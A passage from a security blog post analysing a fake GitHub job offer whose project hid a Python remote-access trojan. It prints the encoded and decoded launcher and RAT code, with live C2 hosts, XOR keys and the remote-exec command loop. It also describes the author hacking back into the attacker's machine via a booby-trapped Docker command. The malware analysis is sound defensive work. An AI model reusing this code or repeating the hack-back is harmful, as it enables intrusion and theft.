[{"content":"I want to talk about an attack pattern that has become really popular these days, especially against companies and programmers in countries like Iran. Due to sanctions and the devaluation of the national currency, many people are looking for remote work and dollar-based salaries. This causes some to get overeager and fall into the traps of attackers posing as \u0026ldquo;foreign employers\u0026rdquo;: \u0026ldquo;It\u0026rsquo;s a small project, we pay well, just a simple project/script... and that simple part is precisely the trap. We are aware that employees of large companies have also recently fallen victim to this method. Recently, an interesting case happened to us, which turned into a “hunter becomes the hunted” scenario. We were targeted with a fake GitHub job offer carrying a Python RAT, but instead of falling for it, we analyzed the malware and tricked the attacker into running a booby-trapped Docker command. This gave us a reverse shell on his system and access to his private SSH key. Below, I’ll share the full story of this engagement, including his follow-up move an unsuccessful phishing attempt using a fake Google Meet link.\nThe Story Begins One of my colleagues received a message on GitHub from an unknown person. The exact message was: I’m currently working on a startup project, and I’ll be sending you a detailed document about it as soon as quickly within this week so you can understand the overall plan and requirements. In the meantime, I have a small Python-based analysis tool that’s part of our development process. Would it be possible for you to create a Docker build for this tool and provide the resulting image? Also, could you let me know roughly how long such a task might take and what budget I should prepare for it? We expect to have quite a number of similar small projects in the future, so knowing the estimate for this one will help me plan the total budget for all upcoming work.\nThe GitHub address of this suspicious individual: https://github.com/HarryKingWork\\\nWell, this message was very fishy and clearly a scam. I mean, who suddenly messages you on GitHub saying they have a project for you? Fortunately, my colleague had enough experience to quickly realize this smelled dangerous. He didn\u0026rsquo;t cooperate at all and blocked the person 👏. Then, he passed the story on to me for further investigation.\nInitial Investigation First, I made sure that no one else in the company had been in contact with that person and that the matter was more personal than organizational. But out of curiosity, I decided to dig a little deeper. I sent a message to the attacker\u0026rsquo;s Telegram ID, which I got from my colleague:\n\u0026ldquo;So, what happened? You were supposed to give me a project, I\u0026rsquo;m waiting!\u0026rdquo;\nThe guy was confused; he didn\u0026rsquo;t remember talking to me before, but he eventually caught on and started talking about the DevOps project again. I acted eager, pretending I just wanted to get the work quickly. Then he sent me a password-protected zip file, \u0026ldquo;chartflow_analysis_deploy.zip\u0026rdquo;. I quickly took the file to a sandbox, opened it, and started examining it. In these situations, the first thing I look for is an encoded payload, like something Base64 encoded. Very soon, the initial clue was found in the path ./chartflow_analysis/src/risk-csv.py, which clearly exhibited the behavior of malware. Inside, two Base64 encoded strings were discovered. Furthermore, as we can see in the section below, a function from risk-csv.py is called within the main.py.\n1 2 3 4 5 6 7 8 9 10 11 12 -\u0026gt; % ls -R .: Dockerfile data main.py requirements.txt src ./data: Price100.txt Price101.txt Price102.txt Price103.txt Price104.txt Price105.txt Price106.txt ./src: __pycache__ calc_data.py csvutils.py requirements.txt risk_csv.py test_data_calc.py test_risk.py ./src/__pycache__: calc_data.cpython-39.pyc csvutils.cpython-39.pyc risk_calculation.cpython-39.pyc risk_csv.cpython-39.pyc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 -\u0026gt; % cat main.py import pandas as pd import os from src.risk_csv import env_reset import src.calc_data as risk_calc from src import csvutils as csv import matplotlib.pyplot as plt ... def main(): working_directory = os.path.dirname(os.path.realpath(__file__)) + \u0026#34;\\data\u0026#34; env_reset() ... if __name__ == \u0026#39;__main__\u0026#39;: main() Analysis of the Malicious Script Alright, let\u0026rsquo;s get to the analysis. First, let\u0026rsquo;s take a look at the code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 -\u0026gt; % cat risk_csv.py import time import ctypes import ctypes as ct import base64 import os.path import subprocess import platform import threading import subprocess from ctypes import wintypes as w from sys import platform import os import sys rdata2 = \u0026#34;ZGVmIGV4dF9yZXNvdXJjZShmaWxlLCBzaG93KToKICAgIHB5dGhvbl9wYXRoID0gc3lzLmJhc2VfZXhlY19wcmVmaXggKyAiXFxweXRob253LmV4ZSIKICAgIHNoZWxsMzIgPSBjdC5XaW5ETEwoJ3NoZWxsMzInKQogICAgc2hlbGwzMi5TaGVsbEV4ZWN1dGVBLmFyZ3R5cGVzID0gdy5IV05ELCB3LkxQQ1NUUiwgdy5MUENTVFIsIHcuTFBDU1RSLCB3LkxQQ1NUUiwgdy5JTlQKICAgIHNoZWxsMzIuU2hlbGxFeGVjdXRlQS5yZXN0eXBlID0gdy5ISU5TVEFOQ0UKICAgIGlmKG9zLnBhdGguZXhpc3RzKHB5dGhvbl9wYXRoKT09VHJ1ZSk6CiAgICAJc2hlbGwzMi5TaGVsbEV4ZWN1dGVBKE5vbmUsIGInb3BlbicsIHB5dGhvbl9wYXRoLmVuY29kZSgpLGZpbGUsIE5vbmUsIHNob3cpCiAgICBlbHNlOgogICAgICAgIHNoZWxsMzIuU2hlbGxFeGVjdXRlQShOb25lLCBiJ29wZW4nLCBiJ3B5LmV4ZScsZmlsZSwgTm9uZSwgc2hvdykKCmRlZiBydW5fY29tbWFuZChjb21tYW5kKToKICAgIG91dHB1dCA9ICIiCiAgICBlcnJvciA9ICIiCiAgICB3aXRoIG9zLnBvcGVuKGNvbW1hbmQpIGFzIHByb2Nlc3M6CiAgICAgICAgb3V0cHV0ID0gcHJvY2Vzcy5yZWFkKCkKICAgICAgICByZXR1cm5fY29kZSA9IHByb2Nlc3MuY2xvc2UoKQogICAgaWYgcmV0dXJuX2NvZGUgaXMgbm90IE5vbmUgYW5kIHJldHVybl9jb2RlICE9IDA6CiAgICAgICAgd2l0aCBvcy5wb3Blbihjb21tYW5kICsgIiAyPiYxIikgYXMgcHJvY2VzczoKICAgICAgICAgICAgZXJyb3IgPSBwcm9jZXNzLnJlYWQoKQogICAgZWxzZToKICAgICAgICBlcnJvciA9ICIiCiAgICByZXR1cm4KCmlmIHBsYXRmb3JtID09ICJ3aW4zMiI6CiAgICBzY3JpcHRfcGF0aCA9IG9zLnBhdGguZGlybmFtZShfX2ZpbGVfXykgKyJcXHRlc3Rfcmlzay5weSIKICAgIHNjcmlwdF9wYXRoID0gJyInICsgc2NyaXB0X3BhdGggKyAnIicKICAgIGV4dF9yZXNvdXJjZShzY3JpcHRfcGF0aC5lbmNvZGUoKSwgMCkKZWxzZToKICAgIHNjcmlwdF9wYXRoID0gb3MucGF0aC5kaXJuYW1lKG9zLnBhdGgucmVhbHBhdGgoX19maWxlX18pKQogICAgc2NyaXB0X3BhdGggPSAicHl0aG9uMyAiICsgJyInICsgc2NyaXB0X3BhdGggKyAiL3Rlc3Rfcmlzay5weSIgKyAnIicgKyAiID4gL2Rldi9udWxsIDI+JjEgJiIKICAgIHJ1bl9jb21tYW5kKHNjcmlwdF9wYXRoKQ==\u0026#34; def test_read(self): csv_data = csv.read(\u0026#34;../data/Price101.txt\u0026#34;, 0, 4) self.assertEquals(473, len(csv_data)) first_price = csv_data[0][1] last_price = csv_data[472][1] self.assertEquals(58.209999, first_price) self.assertEquals(66.510002, last_price) def jestinc(): dalc = \u0026#34;YzpcdXNlcnNccHVibGljXEljb25DYWNoZS5kYXQ=\u0026#34; ddapl = base64.b64decode(dalc) jww = open(ddapl, \u0026#34;w\u0026#34;) jww.write(\u0026#34;aHR0cDovL25ldHVwZGF0ZXMuaW5mby9ib2FyZC9ib2FyZC5waHA=\u0026#34;) jww.close() def hasattrenc(): vwplat = base64.b64decode(rdata2) exec(vwplat) def env_reset(): if platform == \u0026#34;win32\u0026#34;: jestinc() th_init = threading.Thread(target=hasattrenc, args=()) th_init.start() def test_get_historical_prices(self): historical_prices = csv.read_all_files(\u0026#34;../data\u0026#34;, 0, 4) self.assertEquals(22, len(historical_prices)) for key, value in historical_prices.items(): self.assertEquals(473, len(value)) Okay, we need to decode rdata2 and see what\u0026rsquo;s up:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 -\u0026gt; % echo -n \u0026#34;ZGVmIGV4dF9yZXNvdXJjZShm…wYXRoKQ==\u0026#34; | base64 -d def ext_resource(file, show): python_path = sys.base_exec_prefix + \u0026#34;\\\\pythonw.exe\u0026#34; shell32 = ct.WinDLL(\u0026#39;shell32\u0026#39;) shell32.ShellExecuteA.argtypes = w.HWND, w.LPCSTR, w.LPCSTR, w.LPCSTR, w.LPCSTR, w.INT shell32.ShellExecuteA.restype = w.HINSTANCE if(os.path.exists(python_path)==True): shell32.ShellExecuteA(None, b\u0026#39;open\u0026#39;, python_path.encode(),file, None, show) else: shell32.ShellExecuteA(None, b\u0026#39;open\u0026#39;, b\u0026#39;py.exe\u0026#39;,file, None, show) def run_command(command): output = \u0026#34;\u0026#34; error = \u0026#34;\u0026#34; with os.popen(command) as process: output = process.read() return_code = process.close() if return_code is not None and return_code != 0: with os.popen(command + \u0026#34; 2\u0026gt;\u0026amp;1\u0026#34;) as process: error = process.read() else: error = \u0026#34;\u0026#34; return if platform == \u0026#34;win32\u0026#34;: script_path = os.path.dirname(__file__) +\u0026#34;\\\\test_risk.py\u0026#34; script_path = \u0026#39;\u0026#34;\u0026#39; + script_path + \u0026#39;\u0026#34;\u0026#39; ext_resource(script_path.encode(), 0) else: script_path = os.path.dirname(os.path.realpath(__file__)) script_path = \u0026#34;python3 \u0026#34; + \u0026#39;\u0026#34;\u0026#39; + script_path + \u0026#34;/test_risk.py\u0026#34; + \u0026#39;\u0026#34;\u0026#39; + \u0026#34; \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026#34; run_command(script_path) It\u0026rsquo;s becoming clear what\u0026rsquo;s happening. The risk_csv.py file is a launcher whose job is to run the main malware (test_risk.py). It gets the platform string to detect the user\u0026rsquo;s operating system. On Windows, it uses ctypes and shell32.ShellExecuteA to run the main script with pythonw.exe and without a console window. On non-Windows systems, it runs the same file in the background with the command python3 \u0026lt;dir\u0026gt;/test_risk.py \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; to silence all input/output.\nIf the OS is Windows, the 1env_resetfunction first callsjestinc, which creates a file named C:\\Users\\Public\\IconCache.datand saves the encoded stringhttp://netupdates[.]info/board/board.php inside it. Then, using a background thread (hasattrenc), it decodes and executes the data in rdata2. This block is the hidden launcher for test_risk.py`. Now let\u0026rsquo;s move on to the test_risk.py file and examine its contents:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 -\u0026gt; % cat test_risk.py import sys import os import string import urllib.request import urllib.error import http.client import json import struct import time import array import socket import ctypes import ctypes as ct import os.path import subprocess import platform from ctypes import wintypes as w from pathlib import Path import base64 import threading import random import ssl error_de = \u0026#34;YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHBzOi8vc2VhcmNoYm94LmluZm8vcHJlZmVyLnBocCINCg0K\u0026#34; din_dat = \u0026#34;dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9pam9udmJ6MWF6eHNkd3dhYXF6dncyMzRld3hjdm5vcHJ0d3F4diINCktleSA9IGJ5dGVhcnJheShbMywgNiwgMiwgMSwgNiwgMCwgNCwgNywgMCwgMSwgOSwgNiwgOCwgMSwgMiwgNV0pDQpkZWYgR2V0T2JqSUQoKToNCiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpDQpkZWYgR2V0T1NTdHJpbmcoKToNCiAgICByZXR1cm4gcGxhdGZvcm0ucGxhdGZvcm0oKQ0Kc3pPYmplY3RJRCA9IEdldE9iaklEKCkNCnN6UENvZGUgPSAiT3BlcmF0aW5nIFN5c3RlbSA6ICIgKyBHZXRPU1N0cmluZygpDQpzekNvbXB1dGVyTmFtZSA9ICJDb21wdXRlciBOYW1lIDogIiArIHNvY2tldC5nZXRob3N0bmFtZSgpDQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOg0KICAgIHJlc3VsdCA9IGJ5dGVhcnJheSgpDQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKGRhdGEpKToNCiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pDQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkNCmRlZiBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHRleHQsIGVuY29kaW5nID0gJ3V0Zi0xNmxlJyk6DQogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQ0KZGVmIEhUVFBfUE9TVCh1cmwsIGRhdGEpOg0KICAgIHVzZXJfYWdlbnQgPSAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2Ig0KICAgIGVuY29kZWRfZGF0YSA9IGRhdGEuZW5jb2RlKCd1dGYtOCcpDQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpDQogICAgbl9yZXF1ZXN0ID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGRhdGE9ZW5jb2RlZF9kYXRhKQ0KICAgIG5fcmVxdWVzdC5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JywgdXNlcl9hZ2VudCkNCg0KICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihuX3JlcXVlc3QsIGNvbnRleHQ9Y29udGV4dCwgdGltZW91dCA9IDYwKSBhcyByZXNwb25zZToNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnJlYWQoKS5kZWNvZGUoJ3V0Zi04JykNCmRlZiBNYWtlUmVxdWVzdFBhY2tldChzekNvbnRlbnRzKToNCiAgICBzekNJRCA9ICJGRDQyOURFQUJFIg0KICAgIHN6U3RlcCA9ICJcclxuXHRcdFN0ZXAxIDogS2VlcExpbmsoUClcclxuIg0KICAgIGxzelJlcXVlc3QgPSBiIiINCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQ0KICAgIGxwUmVxdWVzdEVuYyA9IGJ5dGVhcnJheSgpDQogICAgaWYgbGVuKHN6Q29udGVudHMpID09IDA6DQogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMNCiAgICBlbHNlOg0KICAgICAgICBzekRhdGEgPSBzekNvbnRlbnRzDQogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iDQogICAgbHBSZXF1ZXN0ID0gZ2V0X2J5dGVzX2Zyb21fdW5pY29kZShzekRhdGEpDQogICAgbHBSZXF1ZXN0RW5jID0geG9yX2VuY3J5cHRfZGVjcnlwdChscFJlcXVlc3QsS2V5KQ0KICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQ0KICAgIGxzelJlcXVlc3QgKz0gc3piNjREYXRhDQogICAgcmV0dXJuIGxzelJlcXVlc3QNCmRlZiBlbmNyeXB0X2RlY3J5cHQoZGF0YTogYnl0ZXMsIGtleTogaW50KSAtPiBieXRlczoNCiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQ0KICAgIGZvciBieXRlIGluIGRhdGE6DQogICAgICAgIGVuY3J5cHRlZF9ieXRlID0gYnl0ZSBeIGtleQ0KICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQ0KICAgIHJldHVybiBieXRlcyhyZXN1bHQpDQpkZWYgYmxvY2tfY29weShzb3VyY2UsIHNvdXJjZV9vZmZzZXQsIGRlc3RpbmF0aW9uLCBkZXN0aW5hdGlvbl9vZmZzZXQsIGNvdW50KToNCiAgICBmb3IgaSBpbiByYW5nZShjb3VudCk6DQogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQ0Kc3pDb250ZW50cyA9ICIiDQp3aGlsZSBUcnVlOg0KICAgIGxwQ21kSUQgPSBieXRlYXJyYXkoNCkNCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkNCiAgICBuQ01ESUQgPSAwDQogICAgbkRhdGFMZW4gPSAwDQogICAgbkxlbiA9IDANCiAgICBzekNvZGUgPSAiIg0KICAgIHN6Q29kZUFyciA9IFsibmV3IHN0cmluZyJdDQogICAgc3pSZXF1ZXN0ID0gIiINCiAgICBzelJlc3BvbnNlID0gIiINCiAgICBscENvbnRlbnQgPSBieXRlYXJyYXkoKQ0KICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpDQogICAgbHBDb250ZW50RW5jID1ieXRlYXJyYXkoKQ0KICAgIHRyeToNCiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykNCiAgICAgICAgc3pDb250ZW50cyA9ICIiDQogICAgICAgIHN6UmVzcG9uc2UgPSBIVFRQX1BPU1QodXJsLCBzelJlcXVlc3QpDQogICAgICAgIA0KICAgICAgICBzelJlc3BvbnNlID0gc3pSZXNwb25zZS5yZXBsYWNlKCcgJywgJysnKQ0KICAgICAgICBpZiBzelJlc3BvbnNlID09ICJTdWNjZWVkISI6DQogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQ0KICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgbHBDb250ZW50RW5jID0gYmFzZTY0LmI2NGRlY29kZShzelJlc3BvbnNlKQ0KICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgMCwgbHBDbWRJRCwgMCwgNCkNCiAgICAgICAgYmxvY2tfY29weShscENvbnRlbnQsIDQsIGxwRGF0YUxlbiwgMCwgNCkNCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdDQogICAgICAgIG5EYXRhTGVuID0gc3RydWN0LnVucGFjaygnPGknLGxwRGF0YUxlbilbMF0NCiAgICAgICAgbHBEYXRhID0gYnl0ZWFycmF5KG5EYXRhTGVuKQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikNCiAgICAgICAgbHBEYXRhID0gZW5jcnlwdF9kZWNyeXB0KGxwRGF0YSwgMTIzKQ0KICAgICAgICBzekNvZGUgPSBscERhdGEuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgIA0KICAgICAgICAjc3pDb2RlQXJyWzBdID0gc3pDb2RlDQogICAgICAgIGlmIG5DTURJRCA9PSAxMDAxOg0KICAgICAgICAgICAgZXhlYyhzekNvZGUpDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMjoNCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBjb250aW51ZQ0KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToNCiAgICAgICAgY29udGludWUNCiAgICB0aW1lLnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI=\u0026#34; def test_get_regressions(self): prices = data.read_all_files(\u0026#34;../data\u0026#34;, 0, 4) risk_calculation = r.RiskCalculation(prices, \u0026#39;Price103\u0026#39;) self.assertEquals(22 - 1, len(risk_calculation.risk_params)) def test_get_weights(self): prices = data.read_all_files(\u0026#34;../data\u0026#34;, 0, 4) risk_calculation = r.RiskCalculation(prices, \u0026#39;Price103\u0026#39;) self.assertAlmostEqual(1, sum([val.weight for key, val in risk_calculation.risk_params.items()])) sdat = base64.b64decode(error_de) if(sdat==\u0026#34;\u0026#34;): sdat = is_url_valid(sdat) kerrs = sdat + base64.b64decode(\u0026#34;Cg==\u0026#34;) if(din_dat == \u0026#34;Error\u0026#34;): kerrs = \u0026#34;Error\u0026#34; if(din_dat == \u0026#34;valid\u0026#34;): kerrs += base64.b64decode(\u0026#34;valid\u0026#34;) kerrs += base64.b64decode(din_dat) if(kerrs == \u0026#34;none\u0026#34;): kerrs = extract_url_domain(\u0026#34;valid\u0026#34;) szParentDir = Path(sys.argv[0]) szFileDirPath = szParentDir.parent szFilePath = szFileDirPath.__str__() + \u0026#34;/requirements.txt\u0026#34; with open(szFilePath, \u0026#39;r\u0026#39;) as file: sztext = file.read() if len(sztext) != 0: exec(kerrs) Again, we have two base64 encoded variables. Let\u0026rsquo;s decode the error_de and din_dat variables to see what\u0026rsquo;s going on.\n- Decoding error_de:\n1 2 3 4 -\u0026gt; % echo -n \u0026#34;YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHBzOi8vc2VhcmNoYm94LmluZm8vcHJlZmVyLnBocCINCg0K\u0026#34; | base64 -d aKO = \u0026#34;adfwefwefwe\u0026#34; url = \u0026#34;https://searchbox.info/prefer.php\u0026#34; Aha! The C2 address has been revealed. - Decoding din_dat:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 -\u0026gt; % echo -n \u0026#34;dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9…LnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI=\u0026#34; | base64 -d trace = \u0026#34;iinniooiojnnawefoijonvbz1azxsdwwaaqzvw234ewxcvnoprtwqxv\u0026#34; Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) def GetObjID(): return \u0026#39;\u0026#39;.join(random.choice(string.ascii_letters) for x in range(12)) def GetOSString(): return platform.platform() szObjectID = GetObjID() def xor_encrypt_decrypt(data, key): result = bytearray() for i in range(len(data)): result.append(data[i] ^ key[i % len(key)]) return bytes(result) def get_bytes_from_unicode(text, encoding = \u0026#39;utf-16le\u0026#39;): return text.encode(encoding) def HTTP_POST(url, data): user_agent = \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\u0026#34; encoded_data = data.encode(\u0026#39;utf-8\u0026#39;) context = ssl._create_unverified_context() n_request = urllib.request.Request(url, data=encoded_data) n_request.add_header(\u0026#39;User-Agent\u0026#39;, user_agent) with urllib.request.urlopen(n_request, context=context, timeout = 60) as response: return response.read().decode(\u0026#39;utf-8\u0026#39;) def MakeRequestPacket(szContents): szCID = \u0026#34;FD429DEABE\u0026#34; szStep = \u0026#34;\\r\\n\\t\\tStep1 : KeepLink(P)\\r\\n\u0026#34; lszRequest = b\u0026#34;\u0026#34; lpRequest = bytearray() lpRequestEnc = bytearray() if len(szContents) == 0: szData = szStep + szPCode + \u0026#34;\\r\\n\u0026#34; + szComputerName + \u0026#34;\\r\\n\u0026#34; + szContents else: szData = szContents lszRequest = \u0026#34;id=\u0026#34; + szCID + \u0026#34;\u0026amp;oid=\u0026#34; + szObjectID + \u0026#34;\u0026amp;data=\u0026#34; lpRequest = get_bytes_from_unicode(szData) lpRequestEnc = xor_encrypt_decrypt(lpRequest,Key) szb64Data = base64.b64encode(lpRequestEnc).decode() lszRequest += szb64Data return lszRequest def encrypt_decrypt(data: bytes, key: int) -\u0026gt; bytes: result = bytearray() for byte in data: encrypted_byte = byte ^ key result.append(encrypted_byte) return bytes(result) def block_copy(source, source_offset, destination, destination_offset, count): for i in range(count): destination[destination_offset + i] = source[source_offset + i] szContents = \u0026#34;\u0026#34; while True: lpCmdID = bytearray(4) lpDataLen = bytearray(4) nCMDID = 0 nDataLen = 0 nLen = 0 szCode = \u0026#34;\u0026#34; szCodeArr = [\u0026#34;new string\u0026#34;] szRequest = \u0026#34;\u0026#34; szResponse = \u0026#34;\u0026#34; lpContent = bytearray() lpData = bytearray() lpContentEnc =bytearray() try: szRequest = MakeRequestPacket(szContents) szContents = \u0026#34;\u0026#34; szResponse = HTTP_POST(url, szRequest) szResponse = szResponse.replace(\u0026#39; \u0026#39;, \u0026#39;+\u0026#39;) if szResponse == \u0026#34;Succeed!\u0026#34;: time.sleep(20) continue lpContentEnc = base64.b64decode(szResponse) lpContent = xor_encrypt_decrypt(lpContentEnc, Key) block_copy(lpContent, 0, lpCmdID, 0, 4) block_copy(lpContent, 4, lpDataLen, 0, 4) nCMDID = struct.unpack(\u0026#39;\u0026lt;i\u0026#39;,lpCmdID)[0] nDataLen = struct.unpack(\u0026#39;\u0026lt;i\u0026#39;,lpDataLen)[0] lpData = bytearray(nDataLen) block_copy(lpContent, 8, lpData, 0, nDataLen) lpData = encrypt_decrypt(lpData, 123) szCode = lpData.decode(\u0026#39;utf-8\u0026#39;) #szCodeArr[0] = szCode if nCMDID == 1001: exec(szCode) continue if nCMDID == 1002: time.sleep(60) continue continue except Exception as e: continue time.sleep(20) kbeps = \u0026#34;weeg\u0026#34; From din_dat, the main logic of the RAT was found. Lets analyze it in a few parts.\nConstants and Preparation 1 2 3 4 5 6 7 8 9 trace = \u0026#34;iinniooiojnnawefoijonvbz1azxsdwwaaqzvw234ewxcvnoprtwqxv\u0026#34; Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) def GetObjID(): return \u0026#39;\u0026#39;.join(random.choice(string.ascii_letters) for x in range(12)) def GetOSString(): return platform.platform() szObjectID = GetObjID() szPCode = \u0026#34;Operating System : \u0026#34; + GetOSString() szComputerName = \u0026#34;Computer Name : \u0026#34; + socket.gethostname() The trace string appears to be purely decorative and is not used effectively later. The Key variable holds the 16-byte key for XORing and encrypting data for sending requests to the C2 and decrypting the received responses. The GetObjID function creates a random 12 character ID each time it\u0026rsquo;s called, which is used in the oid parameter of requests to differentiate sessions. The GetOSString function returns the OS name and details, likely for later use in telemetry. szObjectID holds the random ID for the current cycle. Cryptographic and Helper Primitives 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def xor_encrypt_decrypt(data, key): result = bytearray() for i in range(len(data)): result.append(data[i] ^ key[i % len(key)]) return bytes(result) def get_bytes_from_unicode(text, encoding = \u0026#39;utf-16le\u0026#39;): return text.encode(encoding) def encrypt_decrypt(data: bytes, key: int) -\u0026gt; bytes: result = bytearray() for byte in data: encrypted_byte = byte ^ key result.append(encrypted_byte) return bytes(result) def block_copy(source, source_offset, destination, destination_offset, count): for i in range(count): destination[destination_offset + i] = source[source_offset + i] The xor_encrypt_decrypt function performs a circular XOR with the 16-byte key; this is the outer layer of encryption/decryption. The get_bytes_from_unicode function converts the text to UTF-16LE before the XOR operation. The encrypt_decrypt function is a single-byte XOR with a fixed key of 123 (0x7B) and is applied to the body of the command in the C2 response, meaning the responses have two layers of XOR: an outer one with the 16-byte key and an inner one with 123. block_copy is responsible for slice the response header.\\\nTransport Layer 1 2 3 4 5 6 7 8 def HTTP_POST(url, data): user_agent = \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\u0026#34; encoded_data = data.encode(\u0026#39;utf-8\u0026#39;) context = ssl._create_unverified_context() n_request = urllib.request.Request(url, data=encoded_data) n_request.add_header(\u0026#39;User-Agent\u0026#39;, user_agent) with urllib.request.urlopen(n_request, context=context, timeout = 60) as response: return response.read().decode(\u0026#39;utf-8\u0026#39;) Requests are sent using urllib. TLS validation is intentionally disabled (\\_create_unverified_context) to avoid errors with invalid (self-signed) certificates. The User-Agent header is always constant.\nBuilding the Packet for C2 Communication 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def MakeRequestPacket(szContents): szCID = \u0026#34;FD429DEABE\u0026#34; szStep = \u0026#34;\\r\\n\\t\\tStep1 : KeepLink(P)\\r\\n\u0026#34; lszRequest = b\u0026#34;\u0026#34; lpRequest = bytearray() lpRequestEnc = bytearray() if len(szContents) == 0: szData = szStep + szPCode + \u0026#34;\\r\\n\u0026#34; + szComputerName + \u0026#34;\\r\\n\u0026#34; + szContents else: szData = szContents lszRequest = \u0026#34;id=\u0026#34; + szCID + \u0026#34;\u0026amp;oid=\u0026#34; + szObjectID + \u0026#34;\u0026amp;data=\u0026#34; lpRequest = get_bytes_from_unicode(szData) lpRequestEnc = xor_encrypt_decrypt(lpRequest,Key) szb64Data = base64.b64encode(lpRequestEnc).decode() lszRequest += szb64Data return lszRequest The szCID value is likely used as a campaign identifier, which is always fixed FD429DEABE and sent along with the oid (the 12 character ID) and data. When szContents is empty, the script fills it with the string Step1 : KeepLink(P) along with system information for a heartbeat or initial introduction. This text is converted to UTF-16LE, XORed with the 16-byte key, and finally Base64 encoded. The final output is a POST body with the following format:\n1 id=FD429DEABE\u0026amp;oid=\u0026lt;12char\u0026gt;\u0026amp;data=\u0026lt;Base64(XOR_16(UTF-16LE(payload)))\u0026gt; The C2 Loop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 szContents = \u0026#34;\u0026#34; while True: lpCmdID = bytearray(4) lpDataLen = bytearray(4) nCMDID = 0 